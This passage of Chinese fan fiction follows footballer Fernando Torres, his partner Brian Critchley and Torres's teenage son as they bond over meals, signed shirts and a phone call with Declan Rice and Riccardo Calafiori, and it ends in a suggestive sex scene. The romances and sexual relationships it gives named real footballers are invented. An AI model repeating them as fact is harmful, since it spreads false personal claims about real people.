克里奇利哈哈一笑,很自然的揽过埃里克的肩膀,在他耳边悄悄说了一句,“你这基因绝了!要不是你年纪太小,我高低捧你做明星去!我有一个弟弟就是明星,等有空让你见见,那颜值,气质,身材,百里挑一,不,万里挑一才对!” “吹牛吧你!” “吹牛我就是hijo de puta。” 托雷斯实在听不下去了,他掐了一把克里奇利的脸,说,“你就不能说吹牛是小狗吗,我服了你!” 克里奇利斜靠过去,像只猫一样在他肩膀上蹭了一下,笑言,“放心吧,我没吹牛。” 第111章 番外2 克里奇利没想到和小家伙第一次见面就这么顺利,还收获了意想不到的友情,不愧是吸引小孩子的孩子王体质,倒不是他有多幼稚,相反他有着成熟过头的理论和偶发的叔级幼态,让人愿意和他聊一些不能和爸妈聊的话题。 比如埃里克说他女朋友是阿森纳的球迷,偶像是赖斯,甚至还磕赖斯和卡拉菲奥里的cp,出发前就叮嘱自己无论如何要搞一个赖斯的to签给她,但是,他本可以通过他爸的关系,联系一下在阿森纳的人脉,却一直到现在都没说。 竟然在见到了克里奇利时打开了话匣子,又在得知克里奇利在阿森纳上过班而表现的无比兴奋。 他问:“布莱恩,你能搞到赖斯的to签吗?你能,你一定能!”还没等克里奇利回答他,他就已经下了结论。 这不搞到都不行啊! 克里奇利脸一阵红一阵白,最近吃的好心情好,肉眼可见的有点发腮。 他托着自己婴儿肥的脸望向托雷斯,眨巴眨巴他那蒲扇一样的眼睫毛,长长地嗯了一声。 托雷斯好像从他那复杂的小表情里读懂了一系列解释。 就是:能是能,但我不敢,知道为什么不敢吗,都是我的情债,还望我老婆大人有大量,给个明示可否。 托雷斯笑着点了点头。 两个人都开心了。 可埃里克不懂,要个签名而已,怎么还得经过他爸同意呢,这小叔叔家庭地位这么低吗,但是既然没张口问他爸要也就不欠他爸的人情,还是很开心的,心里又增加了一点对克里奇利的好感和同情。 其实,人情给了克里奇利更好,托雷斯也高兴,他们两人一见如故,还幼稚的一个比一个可笑。 但很快就有人笑不出来了。 埃里克好像不太放心地拿眼神戳了戳克里奇利:“你能现在就给赖斯打电话吗?” 他还不信克里奇利能搞到足坛当红炸子鸡堪称英超最贵中场德克兰赖斯的签名球衣,非要他当场证明和赖斯是能说上话的。 克里奇利笑容凝在脸上,呃了半天,就被小家伙捂嘴嘲笑了,“你就知道吹大牛!” 虽然托雷斯同意了,那也不敢保证赖斯不给他一个热情的隔空飞吻,但他抵不住15岁小孩的激将,当即拿起手机,大言不惭地对他说,“我要是再给你弄一个阿森纳的队签,你要怎么感谢我?” 埃里克睁大了眼睛,心想这人吹牛也不怕闪了舌头,先是说自己有一个世界先生的弟弟,又说能搞到阿森纳全队的签名球衣,除了自己去当主场当球童,否则只有阿尔特塔能办到吧。 克里奇利心里有底,赖斯对他那可是出了名的有求必应,想来自己在阿森纳和小队长风流快活之后,赖斯就接上茬了,简直是无缝衔接,当然还有那个意大利美男子,他们俩一左一右轮番上阵,简直不要太香艳了。 埃里克看他得意的摇头晃脑,兴趣更被挑起来了,“快打快打,真像你说的,我…” “你怎么样?” 克里奇利等他说,你要是给我弄到一个队的对签,我叫你爸爸。 然而小家伙也留了个心眼子,他才不往陷阱里跳,就算克里奇利能搞到,也不能轻易松口,他亲爸还没叫一声呢。 “好啦,不难为你。”克里奇利宠溺地揉了揉他的头发,接着美滋滋的拿着手机准备打电话。 这时,托雷斯起身离开餐桌,不知道是给他空间还是自己不想听他和旧情人黏黏糊糊,一个人默默走去洗手间。 克里奇利拨通了赖斯的电话。 赖斯正和卡拉菲奥里在一起,他们刚要去餐厅吃饭,一看是克里奇利的号码,赖斯立刻笑出小白牙,还在“咖啡”面前得意的晃晃,说,“你看谁给我打电话?” “咖啡”本来抱着肩膀跟在他身后,一看号码立刻凑上来,搂着赖斯的脖子要偷听。 算了,他们三个在一起时也没什么隐私,听就听吧。 赖斯:“嗨!布莱恩!” 克里奇利:“嗨!Rice baby !” 卡拉菲奥里:“呕!” 克里奇利:“哟,不是一个人,旁边还有青蛙王子?” 卡拉菲奥里:“是我,叫爸爸!” 克里奇利:“你呀,咖啡!还是一点都不稳重。” 赖斯和卡拉菲奥里笑得很大声,赖斯胳膊肘怼了怼他说你小点声,震的我耳朵疼,卡拉菲奥里没理他,依旧冲电话大喊生硬的英语,“来伦敦了吗?没良心的,就知道给赖斯打电话,一点想不起你爹来!” 克里奇利:“你这口味得改改,我不就是说了一句厄德高差点当上我爹,你就来劲了,单方面宣布要是进球了就喜当爹,还不是…” 卡拉菲奥里赶紧打断了他:“哎哎哎,闭嘴,布莱恩,你答应我不说的。” 克里奇利看了一眼埃里克,也觉得下面的话不适合小孩子听,然而埃里克正竖着耳朵靠近他,八卦的小眼神好像在催促他,死嘴,快说,是怎么玩的? 克里奇利就知道不能误导青少年,于是捂着手机话筒偏过头小声对埃里克说:“不是你想的那样,是赛 后我去祝贺他进球,他在场上伸脚把我绊倒,怂恿赖斯一起压我,让我管他叫爹的。” “然后呢?” “然后就是我把他拖回去屁股打肿了” “哈哈哈…”小家伙一边笑一边表示不信。 电话那边也八卦起来了,赖斯一直追着卡拉菲奥里问他怎么个事,你俩是不是背着我玩什么见不得人的游戏了? 卡拉菲奥里一边比着胜利的手势一边说就不告诉你,接着头也不回的跑了,留给赖斯一个无比巨大的想象空间。 他们寒暄了一会,得知克里奇利已经在西班牙定居,还收了性子准备做居家好男人,赖斯啧啧了几声以后还是送出了祝福。 在他身后渐渐走近的托雷斯面上露出了欣慰的笑容,他把手搭在克里奇利的肩膀上轻轻捏了捏,似乎给了他一个爱的表扬。 克里奇利仰起头,抬起另一只手摸了摸他的手背,目光中不经意流露出对他的眷恋和不悔。 小家伙看到这一幕,又环视了四周,发现餐馆里只有他们三个人,才知道这是一场精心准备的见面局,而这一切都是为了破他这块冰。 挂了电话后,克里奇利冲着埃里克抬了抬下巴,得意的告诉他,妥了! 埃里克突然自发的举起手中的饮料杯,在他们眼前晃了一圈,见他俩都看他,难掩稚气地说,“愣着干什么,干杯呀!” 这俩大人回过神来齐声噢了一声,赶紧与小家伙碰杯。 “你想说什么?”托雷斯问他。 “不用谢。”克里奇利摆摆手,一仰脖把杯中酒干了,然后笑嘻嘻的看向托雷斯,“不要期待孩子说谢谢,我爱你,爸爸,只要我们做到了就行。” 托雷斯嘴角下压若有所思的点点头,眼睛亮亮的,觉得这顿饭吃的比想象中和美多了。 小家伙又笑出了声,他说,“别以为你给我弄到了签名球衣,我就要管你叫爸爸了,我爸我还没叫呢。不过,谢谢你,布莱恩!” “哈哈…”这句话竟然把霸气外漏的大尾巴狼给说害羞了,就算小家伙现在要叫他爸爸,他也不敢答应啊,亲爹在这不说,他还没向托雷斯求婚呢。 但是,这顿饭之后,他这里就成了小家伙的食堂。 放学有像样的私密单间小饭桌,上学有招人稀罕的手头小零食,让埃里克很快就交到了几个本土好朋友,还带来饭店给克里奇利介绍认识。 看着埃里克很快就融入了西班牙的生活,克里奇利也为他感到高兴,一方面托雷斯叫他去马竞训练他很开心不说,另一方面也有自己的一点功劳,成就感满满。 这天晚上,托雷斯亲自下厨给天天下厨的英国厨神做西班牙海鲜饭,犒劳他为了自己的事尽心尽力,他说,什么你的事我的事,以后都是我的事。 托雷斯笑得脸色绯红,戴着隔热手套直接把砂锅端上桌,腾不出手来抱他,偏过脸去刚要说声谢谢,克里奇利就捧过他的脸狠亲了一口。 这时门咔哒一声响,埃里克放学回来了,不知道他看见没有,反正两个人一个丢下锅就跑去厨房叮叮当当,另一个直接用手去掀锅盖,烫的嘶哈嘶哈直捏耳朵。 埃里克低下头掩饰笑意,说了声我回来了。 克里奇利接过他的训练装备说了声辛苦了小宝贝。 埃里克就又笑出声来,说你比我妈还像我妈。 克里奇利回头看他的后脑勺,笑着摇摇头,心想这也不像青春期的孩子啊,这孩子多好,安静又暖心,除了说话有些愣之外。 埃里克去洗手了,托雷斯走过来从身后抱着克里奇利,欣慰的晃着他,“你来了以后,他明显的爱笑了,他自己都没察觉,说真的,我才要谢谢你,你是我们之间的融冰剂。” 克里奇利回头献吻:“你们一大一小两个暖男,我都要被幸福晕了。” 埃里克从卫生间出来,两人又恢复了原有距离,三个人一起吃饭聊天。 埃里克尝了一口西班牙海鲜饭,虽不至于难吃,也皱着眉肯定的说这不是布莱恩做的。 “没错,你爸做的。”克里奇利舀了一大勺啊呜一口吃掉,眉眼弯弯的很是满足,在他的身体力行下,托雷斯不仅厨艺渐长,品味也越来越丰富,性子也柔软下来,对埃里克也不像刚开始时那么生硬和不知如何是好了。 埃里克:“爸,今天训练我看见一队的了,明天你能帮我连个线,要个球衣吗?” 听他叫了一声爸,托雷斯勺子都掉在桌上了。 克里奇利偷笑:“这次又要谁的?” “阿尔瓦雷斯和加拉格尔!” 克里奇利:“……” 第112章 番外3 托雷斯总是在忙,几乎没有坐在沙发上看电视的闲暇时间,好不容易坐下来,克里奇利就跑过去瘫在他腿上,搂着他脖子像只啄木鸟一样稀罕个没完没了。 托雷斯幻视好大一只森林猫趴在自己腿上,抬手就揉了他的肚子。 他得寸进尺的捉住托雷斯的手腕想跟他玩个餐前小游戏,但托雷斯的眼睛一直被电视画面所吸引。 电视里正播放皇马B队和马竞B队上一场打成1-1的录像,托雷斯认真的复盘分析,还时不时地跟他讲战术策略,克里奇利却只看到他和劳尔赛后亲密拥抱窃窃私语的画面,忍不住瘪嘴吃醋,耍无赖说让他上班比赛带着自己,还要时刻记着他是名草有主的人。 托雷斯说:“乖,如果能把你变小,我整天揣在兜里带你上班。” 克里奇利就整个身子倚过去,在他肩膀上蹭,好像要标记他一样,一边黏糊着一边抱怨道:“太忙了,我后悔让自己这么忙,不行,我得培养一个小眼线。” 托雷斯捏住他的下巴晃晃,凑过去给了他一个甜蜜的安定之吻。 * 两人经常忙的早上看不见托雷斯,晚上看不见克里奇利,时间总是错开,只是在深夜见面,很少有一天到晚腻在家里的时候。 这天克里奇利抽出时间来,趁托雷斯休息把餐厅交给副手,早早回家给他们爷俩做一顿像样的饭。 在家做的跟在店里不一样,有“家”味儿。 这会,埃里克训练回来了。 克里奇利立刻从沙发上弹起来,走到门口接过小家伙的训练装备和书包,撸了一把他的软棕毛,接着一头扎进厨房烧菜煮饭。 埃里克左右张望了两眼,像发现什么罕见的事似的嘿嘿笑了两声。 托雷斯板起脸来问他今天训练怎么样,他撇了撇嘴,轻微抱怨道,“就那样呗,唉,累死了,哪像你,想休息就休息。 托雷斯捏捏鼻梁,“我刚带队比完赛就不能休一天吗,再说你年纪轻轻不就是整天学习玩耍,能累到哪去?” 克里奇利听了,赶紧把盘子放下,一边推着埃里克的后背,一边说着,“辛苦了,小宝贝,洗手吃饭。” 埃里克刚想问他怎么你也休息,但肚子的确被他说饿了,现在就想吃大厨做的咖喱饭。 他鼻子好使,一进屋就闻到了咖喱的香味儿,他怀疑克里奇利掌握着某种窥视人胃口的魔法,再这样下去,自己都不想回美国了。 当大厨把饭菜一一端上桌,香气立刻铺满整间屋子,滋滋作响的铁板牛肉搭配传统英式焗豆,南洋椰香咖喱猪排饭配地中海蓝鳍金枪鱼沙拉,还有一些五颜六色中西融合烤什锦菜,虽花样不多但每一道都张力十足,令人食欲大增。 托雷斯心疼大厨辛苦,又看埃里克吃的正香,满足中带着一丝歉意,却表达出错:“你要是这么个喂法,埃里克就得胖的他妈都认不出来。” 埃里克刚要送进嘴里一口咖喱饭,闻言停滞了。 克里奇利才不担心,他说:“埃里克才接触足球不久,你就把他放在职业队里一起练,运动量这么大吃多少都不会胖的,只会长成一个大高个儿。” 埃里克这才放心的把这口让人停不下来的咖喱饭送进嘴里。 托雷斯笑着摇摇头,“你比我还惯孩子,我以为带他去职业队训练就是给他开小灶了,叫你说的跟我虐待他一样。” 克里奇利说:“我又不踢球,让我整天这么跑,还晒得跟黑炭一样,早就跟你闹了。” 埃里克咽下一口饭,想当个和事佬,却显得自己辈分比他俩还大,他说,“你俩能不能不要聊孩子孩子的,你们应该有自己的生活,不要被孩子绑架。况且,我也不是孩子,我是不是比你们队那个前锋跑的还快?” 托雷斯说:“是,你跑得快,颇有我当年的风范,但你技术不行。” 克里奇利眼看小家伙眼神暗淡下来,立刻用筷子加起一块小土豆塞托雷斯嘴里去了,然后笑眯眯的对埃里克说,“你跑的比你爸当年还快,改天我去看你踢球!” 埃里克笑笑,拍着胸脯说,“那就让你们看看15岁才进入正规训练的小托雷斯是怎么展现天赋的”。 说完,托雷斯就脸红了,这反正都是夸自己,而自己却一直在反向激励,大有去你爹的足球梦这种亲爹式带娃,还不如一个15岁的小孩会夸人,更不如用美食抚慰人心的美男大厨来的温柔细腻。 这孩子虽然和克里奇利没有半点血缘关系,却跟他更亲,把他当自己的闺蜜而不是后爹,和他一起收拾碗筷还能在厨房打闹起来。 埃里克满手泡沫直接去抹克里奇利的脸,但是不够高一直够不着他,克里奇利一点没客气,大长胳膊抵住他的头,揪完他鼻子揪他耳朵,还把面粉呼他一脸。 埃里克打不过他气鼓鼓地伸脚踢他一脚,把他踢的直跳脚,斯哈的抱着自己的小腿在厨房里跟斗鸡似的站不稳,埃里克吓了一跳赶紧扶住他,连说对不起,我不是故意的,我没用力。 皱成一个包子脸的克里奇利舒展开面容,苦笑着说,“你这小子力气够大的,黄牌!”接着举起了一个盘子,笑得埃里克前仰后合。 埃里克笑完又有点想哭,自己从小到大都没什么朋友,他妈没钱了就把他硬塞给他没见过的爸,本来想着混完这三年就回美国,现在好像融入了一个温馨的家还得到了一个外人对自己近乎纵容的爱,让他百感交集,久久说不出话来。 过了好一会,他一脸抹不开的说,“咱们家里真好玩,各说各的,我爸说西语,你说英语,我说美加西,也能交流的天衣无缝,真是不是一家人,不进一家门。” 克里奇利听了心里骤然温暖,这小家伙今天看来是吃爽了,一口一个我爹,还说自己姓托雷斯,现在又说是一家人,真是一个不可多得的小暖男,才不是什么青春期的讨人嫌。 克里奇利忽然伸手把他拢进怀里,揉了揉他的发丝,低头亲吻了他的发顶,说着好,好孩子。 埃里克抓了抓他后背的衣服,接着又把他无情推开,说着,“干嘛呀,弄乱我发型了!” 他抓了抓自己挑染的长发,仰起头转了个身,留下一个傲娇的小表情,跟托雷斯纯洁又孤傲的气质简直一毛一样,不愧是圣婴,金童,西班牙小王子。 想到这,克里奇利擦干手,径直走去健身房,一把把正在跑步机上锻炼的托雷斯拉下来,不由分说地领进浴室。 吃饱了的温柔大厨才不是什么居家必备五好男人,不抽烟不喝酒不骂脏话会做饭会哄人,他最会的就是睡觉。 所以他在对托雷斯上瘾后随时都会变成凶猛大饿狼,这不,孩子还在家,就着急对对碰了。 托雷斯刚跑了不到十分钟,汗都没出就被他拉进浴室从头到尾伺候了一遍。 饱满的肌肉在水帘中若隐若现,金色的发梢垂在眼角,红润的嘴唇微微张开,水流顺着清晰的下颌线流到齐齐整整的腹肌上,怎么看都让人血脉偾张。 克里奇利最近忙的没怎么做身材管理,腰身更加劲瘦,肩峰更加明显,被托雷斯比的只剩一个大骨架子,一呼一吸都能看见根根肋骨。 托雷斯手指描摹着他的轮廓,有些心疼的说,“你整天忙着研究美食,都没时间好好吃一口,都快瘦成皮包骨了。” 克里奇利仰起头,深褐色的眼睛里盛满了水雾,用他那迷惑人心的眼神动情地扫着面前这个健硕男人,压低了声线说,“我这不找补呢吗,别说话,就算我没你壮也能轻松驾驭你。” “噢?”托雷斯承受着他烈焰般的冲击和挑逗,又被他言语戏弄,不免激起了男人的胜负欲。 他手掌扣住克里奇利的后脑,稍微粗鲁的抓紧了他的发丝,片刻之后,又不由分说地把他提起来掼进怀里,低头吻去他肩膀上的水珠。 两个人在浴室里大摆阵仗,虽然托雷斯力量优越,双手捉住克里奇利的手腕就可以轻松阻止他乱碰乱捏,但经验更丰富胆子更大性子更奔放的大尾巴狼一直掌握着节奏和势头,每一次触碰和亲吻都会让人不停地释放多巴胺,简直对这个风流的几乎无耻的男人毫无抵抗力,不知不觉就交代了身位。 床上,又吃了一顿饭后小甜品的克里奇利满足的趴在托雷斯的背上,一手绕过他的脖颈,另一只手在他后背画圈圈。 “第一次见你就心跳不止,现在依然是这样,要么是你有拿捏我命门的吸引力,要么是我得去医院看看。”克里奇利慵懒的在他身后说着话。 托雷斯柔声回应他,“你该感谢我,我是维持你心跳不止的起搏器,离开我你不能活。” “嗯,我不能…” 克里奇利趴在他身后安安稳稳的陷入了浅睡眠。 怎么对托雷斯(克里奇利)如此贪恋,在这么多平凡的日子里,那个人总能把这件事变的如此有意境和美感,他就像生命中的一道光,暗夜里的一轮月,助燃火花的一瓶酒,让人久久沉醉不愿醒来。 这是他们脑子里的共同所想,也是和谐生活的重要前提。 这美好的生活在克里奇利本来没有定性的价值观里莫名栽种了一棵叫做信仰和忠诚的小树苗,随着时间的推移,这颗小树苗被爱和温暖滋润,成为他们未来多年相互依赖相互需要的绑定系统,庇护着他们永远在一起永远对彼此保持热爱和吸引。【你现在阅读的是魔蝎小说 moxiexs】